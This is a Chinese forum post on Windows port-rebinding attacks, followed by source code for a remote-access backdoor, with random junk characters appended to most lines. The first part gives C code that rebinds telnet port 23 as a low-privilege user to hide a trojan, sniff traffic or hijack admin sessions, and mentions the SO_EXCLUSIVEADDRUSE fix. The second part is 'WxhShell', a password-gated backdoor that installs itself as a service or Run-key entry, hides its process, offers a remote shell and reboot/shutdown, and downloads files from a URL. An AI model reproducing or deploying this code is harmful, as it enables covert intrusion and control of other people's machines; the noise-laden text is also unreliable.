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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 4?2$~\ x  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8EBy5X}US  
OoqA`%  
  saddr.sin_family = AF_INET; u>y/<9]q8  
1>IA9]D7  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); z3mo2e  
w$1B|7tX;2  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Ht_7:5v&   
|JVp(Kx  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 L7rH=gZ&!]  
l =Is-N`  
  这意味着什么?意味着可以进行如下的攻击: ZtofDp5B  
}VDJ  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5xIOi(3`Q  
'Xb?vOU  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ]r\d 5  
Gj ka %  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ! 0DOj["  
4Y `=`{Q  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  WLkfo6Nw  
'U/X<LCl  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 'irHpN6n  
>= VCKN2'j  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 nSR<(-j!  
1 LUvs~Qu  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *ud/'HR8]  
t8_i[Hw6D  
  #include )~LqBh  
  #include k,0lA#>  
  #include L_{gM`UFc  
  #include    g* DBW,  
  DWORD WINAPI ClientThread(LPVOID lpParam);   N`xXH  
  int main() 746['sf4c  
  { 1h,m  
  WORD wVersionRequested; t*dd/a  
  DWORD ret; d: {#Dk#  
  WSADATA wsaData; U0fr\kM  
  BOOL val; r t\eze_5A  
  SOCKADDR_IN saddr; |:b!e  
  SOCKADDR_IN scaddr; +txHj(Y`  
  int err; U%u%_{-  
  SOCKET s; Fsi;[be$A  
  SOCKET sc; y??^[ sB  
  int caddsize; ^"!)p2=  
  HANDLE mt; ]7:*A7/!.  
  DWORD tid;   t=BXuFiu  
  wVersionRequested = MAKEWORD( 2, 2 ); :9Mqwgk,;3  
  err = WSAStartup( wVersionRequested, &wsaData ); )gPkL r  
  if ( err != 0 ) { !'f.g|a  
  printf("error!WSAStartup failed!\n"); W>cHZ. _  
  return -1; m$!Ex}2  
  } s_RUb  
  saddr.sin_family = AF_INET; rOA{8)jIa*  
   V:*6R/Ft  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 w3E#v&"=Y  
-![>aqWmj1  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); P&.-c _  
  saddr.sin_port = htons(23); U{?#W  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ibL    
  { d*tn&d~k,  
  printf("error!socket failed!\n"); .\}nDT  
  return -1; W~Ae&gcn#  
  } Kk|4  
  val = TRUE; gBd@4{y6C.  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 W0;MGBfb  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) (_Ky' .  
  { m>&:)K}m  
  printf("error!setsockopt failed!\n"); * G0I2  
  return -1; 1|/-Ff"1@  
  } F|! ib5  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; F7lzc)  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 0*F<tg,+]  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 k@Mt8Ln  
\I+#M-V  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) }+dDGFk  
  { *9)yN[w  
  ret=GetLastError(); .g8db d  
  printf("error!bind failed!\n"); ds "N*\.  
  return -1; y|2y! &o,!  
  } @l %x;`E  
  listen(s,2); y\@INA^  
  while(1) 1T/ 72+R0  
  { r"bV{v  
  caddsize = sizeof(scaddr); 4ztU) 1  
  //接受连接请求 \Jm^XXgS  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); -&QTy  
  if(sc!=INVALID_SOCKET) pWOK~=t  
  { ;:Q&Rf"@%  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); (Y:?qy  
  if(mt==NULL) 5"mH6%d :8  
  { 716r/@y$6  
  printf("Thread Creat Failed!\n"); /M5R<rl  
  break; C|-QU  
  } )Nnrsa  
  } xjH({(/B>a  
  CloseHandle(mt); H-/w8_} KG  
  } b<\aJb{2  
  closesocket(s); +(/' b' *  
  WSACleanup(); N"-U)d-.  
  return 0;  @s7wKk  
  }   !.@F,wZvY  
  DWORD WINAPI ClientThread(LPVOID lpParam) x03@}M1  
  { DTo P|P  
  SOCKET ss = (SOCKET)lpParam; 2 i97  
  SOCKET sc; I'e`?H t  
  unsigned char buf[4096]; %shCqS  
  SOCKADDR_IN saddr; D]NJ ^.X  
  long num; k4+Q$3"  
  DWORD val; Ux+UcBKm-  
  DWORD ret; aU?HIIA  
  //如果是隐藏端口应用的话,可以在此处加一些判断 &\L\n}i-  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   |h^]`= 3  
  saddr.sin_family = AF_INET; >eucQ]  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ,HECHA_"  
  saddr.sin_port = htons(23); Jm[_X  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +V9<ug6 T  
  { PS'SIX  
  printf("error!socket failed!\n"); -W.bOr  
  return -1; Wo+^R%K' 4  
  } LtVIvZie  
  val = 100; )JXy>q#  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~=k?ea/>  
  { q"$C)o  
  ret = GetLastError(); xM2UwTpW  
  return -1; (g3@3.Kk)  
  } 5j>olz=n}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .M([n-  
  { v%E~sX&CG  
  ret = GetLastError(); @~C C$Y$  
  return -1; ,&iZ*6=X?0  
  } 0P^&{ek+)  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) n0%5mTUN  
  { X1 FKcWv  
  printf("error!socket connect failed!\n");  4 `]  
  closesocket(sc); \ fSo9$  
  closesocket(ss); Rg%Xy`gS  
  return -1; 3S{3AmKj?  
  } Hh`HMa'q  
  while(1) >TG#  
  { -fT}Nj\  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 T07 AH  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 80"oT'ZFh  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1HBWOV7z.?  
  num = recv(ss,buf,4096,0); bEB9J- Q  
  if(num>0) W-<`Vo'  
  send(sc,buf,num,0); (o518fmR  
  else if(num==0) +6Ye'IOG  
  break; rbc7CPq_^  
  num = recv(sc,buf,4096,0); 35n'sVn  
  if(num>0) Zy=DY  
  send(ss,buf,num,0); ]/{iIS_  
  else if(num==0) wj 15Og?  
  break; m_h$fT8 _  
  } 0 LQ%tn  
  closesocket(ss); CS\8ej}y  
  closesocket(sc); L|Bjw3K&D  
  return 0 ; w-P;E!gTt  
  } H?wf%0  
EqF>=5*  
h.4FY<  
========================================================== Nn-EtM0w  
iH>IV0 <  
下边附上一个代码,,WXhSHELL =?[:Nj636  
f6`W(OiE  
========================================================== m ;{(U Z  
oq[r+E-]$@  
#include "stdafx.h" C=8IQl[^e  
j026CVL  
#include <stdio.h> [ @9a  
#include <string.h> MN[D)RKh;  
#include <windows.h>  & {=}U  
#include <winsock2.h> _@! yj  
#include <winsvc.h> />2zKF?  
#include <urlmon.h> P1dFoQz  
hr`,s!0Y  
#pragma comment (lib, "Ws2_32.lib") y/;DA=  
#pragma comment (lib, "urlmon.lib") dZuPR  
Mw|lEctN0  
#define MAX_USER   100 // 最大客户端连接数 hp$1c  
#define BUF_SOCK   200 // sock buffer |>Pz#DCy  
#define KEY_BUFF   255 // 输入 buffer ZDx1v_xr  
7[:?VXQ  
#define REBOOT     0   // 重启 l._g[qa  
#define SHUTDOWN   1   // 关机 =4 NKXP~C  
BMItHn].  
#define DEF_PORT   5000 // 监听端口 <z8z\4Hz  
: $N43_Wb  
#define REG_LEN     16   // 注册表键长度 mNKcaM?h  
#define SVC_LEN     80   // NT服务名长度 @`XbM7D 5  
EAV6qW\r5]  
// 从dll定义API h(p c GE  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); O:Wd ,3_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #@m6ag.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); J+l#!gk$!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); k_`YVsEYP  
lw _@(E]E  
// wxhshell配置信息 4"#F =f0  
struct WSCFG { z?WkHQ9  
  int ws_port;         // 监听端口 X3HJ3F;==  
  char ws_passstr[REG_LEN]; // 口令 %J+k.UrM  
  int ws_autoins;       // 安装标记, 1=yes 0=no uvJmEBL:  
  char ws_regname[REG_LEN]; // 注册表键名 V\=%u<f  
  char ws_svcname[REG_LEN]; // 服务名 py$i{v%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 xtK}XEhG!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6\USeZh  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <jqL4!<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 11RqP:zg  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L'O=;C"f  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zI CAV -&  
Daq lL  
}; 6W9lKD_i  
/$^SiE+N  
// default Wxhshell configuration ]l^" A~va  
struct WSCFG wscfg={DEF_PORT, zqxN/H]z  
    "xuhuanlingzhe", <SiJA`(7  
    1, Lw`}o`D  
    "Wxhshell", 'j;i4ie>*x  
    "Wxhshell", \_MWZRMc5  
            "WxhShell Service", r=#v@]z B  
    "Wrsky Windows CmdShell Service", `$ pJ2S  
    "Please Input Your Password: ", kW& zkE{  
  1, VVqpzDoXG  
  "http://www.wrsky.com/wxhshell.exe", oxLO[js  
  "Wxhshell.exe" x LGMN)@r  
    }; wlpcuz@  
0s6eF+bs  
// 消息定义模块 /4$ c-k  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |Elz{i-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^ # 3,*(S  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; M$e$%kPShE  
char *msg_ws_ext="\n\rExit."; WnhH]WY  
char *msg_ws_end="\n\rQuit."; Rm Q>.?  
char *msg_ws_boot="\n\rReboot..."; 2=$ F*B>9  
char *msg_ws_poff="\n\rShutdown..."; )h1 `?q:5  
char *msg_ws_down="\n\rSave to "; (zw.?ADPCT  
.}Hs'co  
char *msg_ws_err="\n\rErr!"; \zzPsnFIg  
char *msg_ws_ok="\n\rOK!"; p1s|JI  
Up*6K=Tny  
char ExeFile[MAX_PATH]; ^_/gM[H.  
int nUser = 0; YGhHIziI  
HANDLE handles[MAX_USER]; eBqF@'DQ  
int OsIsNt; 3935cxT1U  
}[OEtd{  
SERVICE_STATUS       serviceStatus; A_+*b [P  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; R)Dh;XA  
[ZD`t,x(  
// 函数声明 X/H2c"!t  
int Install(void); uzL|yxt  
int Uninstall(void); zLg_0r*h1  
int DownloadFile(char *sURL, SOCKET wsh); g_?bWm4br  
int Boot(int flag); ,irc=0M(  
void HideProc(void); 4"eeEs h  
int GetOsVer(void); Kir|in)r0  
int Wxhshell(SOCKET wsl); :@S=0|:j  
void TalkWithClient(void *cs); sI@kS ^  
int CmdShell(SOCKET sock); OT#foP   
int StartFromService(void); mV}eMw  
int StartWxhshell(LPSTR lpCmdLine); L08" 8\  
1pT/`x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); N@8tf@BT   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^9XAWj"  
2ZKy7p0/  
// 数据结构和表定义 #-/_J?  
SERVICE_TABLE_ENTRY DispatchTable[] = 4Yd$RP  
{ *oAnG:J+M  
{wscfg.ws_svcname, NTServiceMain}, (qDJgf4fgn  
{NULL, NULL} CFeAKjG  
}; N|w;wF!3  
Rk}=SB-  
// 自我安装 wD SSgk  
int Install(void) i~tps  
{ xI8v'[3  
  char svExeFile[MAX_PATH]; e*o:ltP./  
  HKEY key; F8B:P7I  
  strcpy(svExeFile,ExeFile); 8},fu3Z  
JB HnJm  
// 如果是win9x系统,修改注册表设为自启动 mWuhXY^Q  
if(!OsIsNt) { ;(IAhWE?7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  =h}PL22  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9\i^.2&  
  RegCloseKey(key);  9 'IDbe{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^@]yiED{g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t_Ul;HVPS  
  RegCloseKey(key); +Q!Kj7EU/  
  return 0; (ewcj\l4*  
    } aW b5w  
  } /_r{7Gq.  
} >k(AQW5?  
else { y|Y hDO  
3A el  
// 如果是NT以上系统,安装为系统服务 %j?7O00 @  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >c.HH}O0W  
if (schSCManager!=0) 6H:EBj54?  
{ {=_xze)  
  SC_HANDLE schService = CreateService YrTjHIn~w  
  ( 2hT H  
  schSCManager, osTin*T.  
  wscfg.ws_svcname, PAu/iqCH  
  wscfg.ws_svcdisp, #b{;)C fL  
  SERVICE_ALL_ACCESS, g")pvK[e  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , q,(hs]\@  
  SERVICE_AUTO_START, / !A&z4;D  
  SERVICE_ERROR_NORMAL, ;MjOs&1f0K  
  svExeFile, fwaM;YN_  
  NULL, x2+M0 }g  
  NULL, -ha[xM05  
  NULL, M:w]g`LKl  
  NULL, UbSD?Ew@35  
  NULL IFWP&20  
  ); ~<[]l~`  
  if (schService!=0) iPrAB*  
  { 66cPoG  
  CloseServiceHandle(schService); r5&?-G  
  CloseServiceHandle(schSCManager); ="]y^&(L(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9R4q^tGR\  
  strcat(svExeFile,wscfg.ws_svcname); .vXe}%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2|LkCu)~,"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y#5;wb<1  
  RegCloseKey(key); )F:UkS  
  return 0; eXMl3Lxf  
    } )> a^%V9  
  } 9wv 7 HD|  
  CloseServiceHandle(schSCManager); sg,9{R ^  
} 3<HPZWc  
} r;8$ 7C.  
~ph>?xuw  
return 1; |C;*GeyS;J  
} ow,=M%x"0  
+#ANc;2g  
// 自我卸载 ~kPZh1n`  
int Uninstall(void) $ -f(.S  
{ u1 (8a%ZC  
  HKEY key; 3/2G~$C  
r$-]NYPi  
if(!OsIsNt) { 6-uB[$ko  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F% K}&3  
  RegDeleteValue(key,wscfg.ws_regname); o<%s\n  
  RegCloseKey(key); sxQMfbN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S31+ j:"  
  RegDeleteValue(key,wscfg.ws_regname); )rv<"  
  RegCloseKey(key); 84ma X'  
  return 0; k'+Mc%pg4E  
  } PiwI.c  
} !:Clzlg   
} <2 S?QgR,  
else { 8BwJWxBQ  
\+sP<'~M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :KJZo,\  
if (schSCManager!=0) N^K@$bs4^  
{ G7H'OB &  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); rfxLCiV  
  if (schService!=0) )wz3 m L  
  { KmRxbf  
  if(DeleteService(schService)!=0) { STgYXA(  
  CloseServiceHandle(schService); d!]_n|B@9  
  CloseServiceHandle(schSCManager); D$y-Kh  
  return 0; ziui  
  } ?TVR{e:  
  CloseServiceHandle(schService); `?:X-dh_  
  } w97B)Kn6  
  CloseServiceHandle(schSCManager); v"G)G)*z  
} d/`Q,Vl  
} NI?YUhg>  
p=8?hI/bim  
return 1; |#-GH$.v  
} ~gvw6e*[  
{F+iL&e)  
// 从指定url下载文件 n:[GK_  
int DownloadFile(char *sURL, SOCKET wsh) 9dD;Z$x&Xk  
{ -dsE9)&8DX  
  HRESULT hr; ]AzDkKj  
char seps[]= "/"; uPtS.j=  
char *token; "+:IA|1wD  
char *file; Se-n#  
char myURL[MAX_PATH]; "#a,R ^J  
char myFILE[MAX_PATH]; >0qe*4n|M  
iu 6NIy7D  
strcpy(myURL,sURL); $N)b6(}F10  
  token=strtok(myURL,seps); SV96eYT<  
  while(token!=NULL) O<?z\yBtS^  
  { -|~tZuf  
    file=token; ,BG L|5?3z  
  token=strtok(NULL,seps); 9N]V F'  
  } 2DTBL:?`  
Y:} !W  
GetCurrentDirectory(MAX_PATH,myFILE); \@HsMV2+zN  
strcat(myFILE, "\\"); )S6"I  
strcat(myFILE, file); ^J Y]w^u  
  send(wsh,myFILE,strlen(myFILE),0); 73OYHp_j  
send(wsh,"...",3,0); 42mZ.,<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); uKocEWB=/F  
  if(hr==S_OK) H '(Ky  
return 0; Bys_8x}  
else 1Qz1 Ehz>  
return 1; CERT`W%o  
;v^1V+1:z  
} !q_fcd^c  
3fWL}]{<a  
// 系统电源模块 h\i>4^]X.  
int Boot(int flag) ^w|apI~HSE  
{ {Jj vF  
  HANDLE hToken; h^$ c  
  TOKEN_PRIVILEGES tkp; B#U:6Ty  
i5 F9*  
  if(OsIsNt) { R87e"m/C%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); B> LL *  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); H o;bgva  
    tkp.PrivilegeCount = 1; |}>;wZ[7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +Tw]u`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); J< U,~ra\  
if(flag==REBOOT) { !3'&_vmG$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) yl[6b1  
  return 0; bM"crRG"  
} ZeyA bo  
else { %VD>S  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^|1)6P}6  
  return 0; 0'9z XJ"  
} 5E!G  
  } oj1,DU  
  else { H(TY.  
if(flag==REBOOT) { ]TmxCTVL  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !:^lTvYWZH  
  return 0; q|+`ihut  
} T[YGQT|B  
else { wJQ"|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) otgU6S7F  
  return 0; y.:Z:w6$  
} %!i|"FNc  
} EecV%E  
C{8d^SCA"  
return 1; 1k8zAtuj  
} 6X@$xe847[  
dNL<O   
// win9x进程隐藏模块 a5AD$bP  
void HideProc(void) Q{0!N8']"  
{ .oNs8._:  
d]*a:>58  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); TE.O@:7Z  
  if ( hKernel != NULL ) ZOK,P  
  { Dqw?3 KB  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); S EeDq/h  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); eQRY xx{  
    FreeLibrary(hKernel); vF,iHzv  
  } +=/FKzT<  
WI$MT6  
return; GrB+Y!{{  
} U- a+LS  
hi30|^l-  
// 获取操作系统版本 RvPC7,vh  
int GetOsVer(void) }H4Z726  
{ Rn-RMD{dh  
  OSVERSIONINFO winfo; LT3ViCZ-n  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); eaxp(VX?oy  
  GetVersionEx(&winfo); [*k25N  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Iw<: k  
  return 1; dk^Uf84.Gr  
  else 7O,y%NWaK  
  return 0; }RvP*i  
} @l:o0(!W  
JP t=~e(  
// 客户端句柄模块 $C;)Tlh  
int Wxhshell(SOCKET wsl) dSkW[r9Z%l  
{ E?z~)0z2`  
  SOCKET wsh; ^at X/  
  struct sockaddr_in client; h8Bs=T  
  DWORD myID; !A\Qwg>  
\MA 4>  
  while(nUser<MAX_USER) d/k70Ybk  
{ dt -=7mz#  
  int nSize=sizeof(client); J AK+v  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); bH-QF\>  
  if(wsh==INVALID_SOCKET) return 1; cq=ker zQ  
 Nx8~Rn  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); H.HXwN/x  
if(handles[nUser]==0) QD}'2{M!  
  closesocket(wsh); \NEXtr`Th  
else >2[\WF*"X  
  nUser++; 1$*ZN4  
  } "0(H! }D  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U '#Xwax  
<&+\X6w[  
  return 0; ,p,$(V  
} J\BTrN7  
;e>pu"#  
// 关闭 socket hw@ `Q@  
void CloseIt(SOCKET wsh) e7(iMe  
{ OUd&fUmH  
closesocket(wsh); DO#!ce  
nUser--; f+/AD  
ExitThread(0); |Mj2lZS  
} <R TAO2  
@nuMl5C-`  
// 客户端请求句柄 PE IUKlX  
void TalkWithClient(void *cs) ya<nD'%9  
{ z)RJUmY3B  
<QUjhWxDb  
  SOCKET wsh=(SOCKET)cs; +ti_?gfx  
  char pwd[SVC_LEN]; }W:Rg}v  
  char cmd[KEY_BUFF]; H+oQ L(i|_  
char chr[1]; t4RI%m\  
int i,j; xb2xl.2x!  
KkIxtFM  
  while (nUser < MAX_USER) { g/o@,_  
sUc_)  
if(wscfg.ws_passstr) { UC!?.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); < ] ~FX 25  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [f^:V:) {  
  //ZeroMemory(pwd,KEY_BUFF); g9A8b(>F&@  
      i=0; 6`tc]a"#Zb  
  while(i<SVC_LEN) { @2Lp I*]C  
s\)0f_I  
  // 设置超时 zPonG d1  
  fd_set FdRead; 7wivu*0  
  struct timeval TimeOut; Md4hd#z  
  FD_ZERO(&FdRead); HinPO  
  FD_SET(wsh,&FdRead); m zh8<w?ns  
  TimeOut.tv_sec=8; {<~oa+"  
  TimeOut.tv_usec=0; ps DY}y\"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \; 9log<Z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,eI2#6w|C  
3y[6n$U&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XYi-o][Mf  
  pwd=chr[0]; ^dR="N  
  if(chr[0]==0xd || chr[0]==0xa) { >9Yo:b:f  
  pwd=0; EpX.{B@B_[  
  break; ju jhK'\  
  } (;9-8Y&_d  
  i++; $ ]ew<j  
    } y@#JzfY?Hr  
%j.B/U$  
  // 如果是非法用户,关闭 socket #%~PNki  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \iBEyr]  
} K@JGGgrE`!  
kBh*@gf  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~HFqAOr  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lUL6L 4m  
m W/6FC  
while(1) { [MQU~+]  
<}\!FuC  
  ZeroMemory(cmd,KEY_BUFF); t",=]k  
 iI!MF1  
      // 自动支持客户端 telnet标准   f,jN"  
  j=0; 6.!aJJLN  
  while(j<KEY_BUFF) { V0rS^SAF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); { ]*#WU  
  cmd[j]=chr[0]; :i?7RouO  
  if(chr[0]==0xa || chr[0]==0xd) {  {"RUiL^  
  cmd[j]=0; 4Bn <L&@/  
  break; }f l4^F  
  } S%^*h{9u"  
  j++; rZij[6]Y^  
    } % `4\ 8H`  
;?{N=x8  
  // 下载文件 *%3%Zj,{  
  if(strstr(cmd,"http://")) { IL]Js W  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #j+0jFu  
  if(DownloadFile(cmd,wsh)) qZV.~F+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0^0Q0A  
  else U#qs^f7R  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !Ojf9 6is  
  } (bX77 Xr  
  else { ]O^C'GzZ  
L[D<e?j  
    switch(cmd[0]) { 4N!Eqw  
  e5}KzFZmZ  
  // 帮助 LLMom.  
  case '?': { u l-A'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |7pi9  
    break; w1Xe9'$Qb  
  } wNfWHaH" m  
  // 安装 e5s=@-[  
  case 'i': { W$>AK_Y}  
    if(Install()) wN+3OPM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tL#]G?0d  
    else 7;8#iS/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CDT%/9+-  
    break; ]8m_+:`=  
    } 6T qs6*  
  // 卸载 ;Y^.SR"  
  case 'r': { ;VS\'#{e  
    if(Uninstall()) +o4W8f=Ga  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \#hp,XV>  
    else o^\L41x3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yP~O C|Z  
    break; ,. K}uW  
    } IyV%tOy  
  // 显示 wxhshell 所在路径 Z ? F*Z0y  
  case 'p': { (6Y.|u]bq  
    char svExeFile[MAX_PATH];  EOn[!  
    strcpy(svExeFile,"\n\r"); a(s% 3"*Q  
      strcat(svExeFile,ExeFile); U WU PY  
        send(wsh,svExeFile,strlen(svExeFile),0); k-;A9!^h  
    break; f]*TIYicc  
    } eyIbjgpV  
  // 重启 KE_GC ;bQ  
  case 'b': { -Wt (t2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?xT ^9  
    if(Boot(REBOOT)) C)RJjaOr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >T)#KQ1t  
    else { ol7^T  
    closesocket(wsh); TwT@_~ IM  
    ExitThread(0); <y!(X"n`  
    } .szc-r{  
    break; skeXsls  
    } H!81Pq~  
  // 关机 V49[XX  
  case 'd': { p(8[n^~,i  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6a%dq"5 +  
